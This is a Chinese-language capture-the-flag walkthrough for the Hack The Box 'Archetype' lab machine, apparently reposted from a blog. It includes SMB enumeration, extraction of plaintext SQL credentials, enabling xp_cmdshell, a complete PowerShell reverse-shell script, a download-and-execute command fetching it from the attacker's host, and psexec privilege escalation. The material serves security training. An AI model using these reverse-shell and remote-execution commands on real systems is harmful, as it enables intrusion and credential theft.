ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

『Hack The Box』Archetype

2021-07-22 15:33:37  阅读:441  来源: 互联网

标签:Box shell 10.27 Kali Hack SQL 10.10 靶机 Archetype


文章目录

前言

操作基于Kali 2020,参照官方wp

配置代理

Kali连接下发的代理

openvpn xxx.ovpn

在这里插入图片描述

ifconfig获取当前Kali的ip,10.10.14.*网段的ip

在这里插入图片描述

此时靶机可以ping通,靶机ip10.10.10.27

在这里插入图片描述

解题

信息搜集

用nmap扫一下

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27

第一条指令列出了开放的端口

  • -p-扫描所有端口,原型是-p0-65535
  • --min-rate指定最小发包速率
  • -T4指定扫描时序速率,范围0-5,值越大越快

第二条指令进行了具体端口扫描

  • -sC指定使用默认扫描脚本
  • -sV指定探测版本信息

在这里插入图片描述

445、1433端口是开放的;445是SMB的端口,1433是SQL Server的端口

那么看到这就提供了一条思路:文件共享一般存储了敏感用户信息,可以尝试查找数据库和Linux的用户信息,进而走SQL Server进入

SMB

Linux使用smbclient读取SMB

目标主机是Windows,目录分隔符要转义

smbclient -N -L \\\\10.10.10.27\\
  • -N指定不验证密码
  • -L表示列出信息
  • ip需要用双斜杠

在这里插入图片描述

发现靶机共享了backups备份文件夹,找一找有没有好康的

smbclient -N \\\\10.10.10.27\\backups
smb: \> dir

在这里插入图片描述

找到一个.dtsConfig,它是SSIS的配置文件,即Microsoft SQL Server Integration Services,把它下载下来康康

smb: \> get prod.dtsConfig

get指令能下载指定文件到terminal的路径下

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

在配置文件中找到了主机名\用户ARCHETYPE\sql_svc,密码M3g4c0rp123,接下来就能连数据库了

SQL Server拿shell

用Impacket工具包访问数据库

SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols. (github.com)

使用里面的工具mssqlclient.py

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
  • username@ip指定连接信息
  • -windows-auth指定验证登录

在这里插入图片描述

进入数据库后先看看当前用户是否属于admin

SQL> SELECT IS_SRVROLEMEMBER('sysadmin')

返回1即属于admin

接下来就是开启shell的权限

SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure;
SQL> xp_cmdshell "whoami"

先开高级选项,再开shell,最后测试一下可以用

在这里插入图片描述

至此我们已经初步拿到了shell

*持久化shell

SQL Server的shel还略显单薄,既然是Windows,那么就尝试用Powershell脚本、nc监听做一个持久化的连接

第一行的IP填写最开始获取的Kali IP,注意网段

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.xxx",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

另存到Kali的桌面,名称为shell.ps1

之后用python起一个服务器,以便靶机访问脚本、下载脚本,服务器在桌面起,和shell.ps1在同一个文件夹

python3 -m http.server 80

要确保起了后能访问到脚本

在这里插入图片描述

nc起一个监听用于shell交互,端口同上所设置的443

nc -lvnp 443

返回mssqlclient,让靶机访问、下载、运行脚本,同理xxx是Kali IP

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
SQL \> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.xxx/shell.ps1\");"

在这里插入图片描述

  • 左上是服务器,如果收到了get请求,证明靶机访问了shell.ps1
  • 左下是client端,用nc监听,有来自10.10.10.27的连接请求证明连接成功
  • 右侧靶机执行运行脚本,运行后得到左侧

用nc就可以进行shell交互了

在这里插入图片描述

User Owns Flag

访问桌面获取到flag文件

type c:\Users\sql_svc\Desktop\user.txt

在这里插入图片描述

System Owns Flag

拿到了shell,找一找最近的历史

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

在这里插入图片描述

获取到了backups的映射和管理员密码MEGACORP_4dm1n!!,之后使用impacket的psexec.py提权

psexec.py administrator@10.10.10.27

在这里插入图片描述

同理,桌面获取flag

type c:\Users\Administrator\Desktop\root.txt

在这里插入图片描述

标签:Box,shell,10.27,Kali,Hack,SQL,10.10,靶机,Archetype
来源: https://blog.csdn.net/Xxy605/article/details/118999609

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有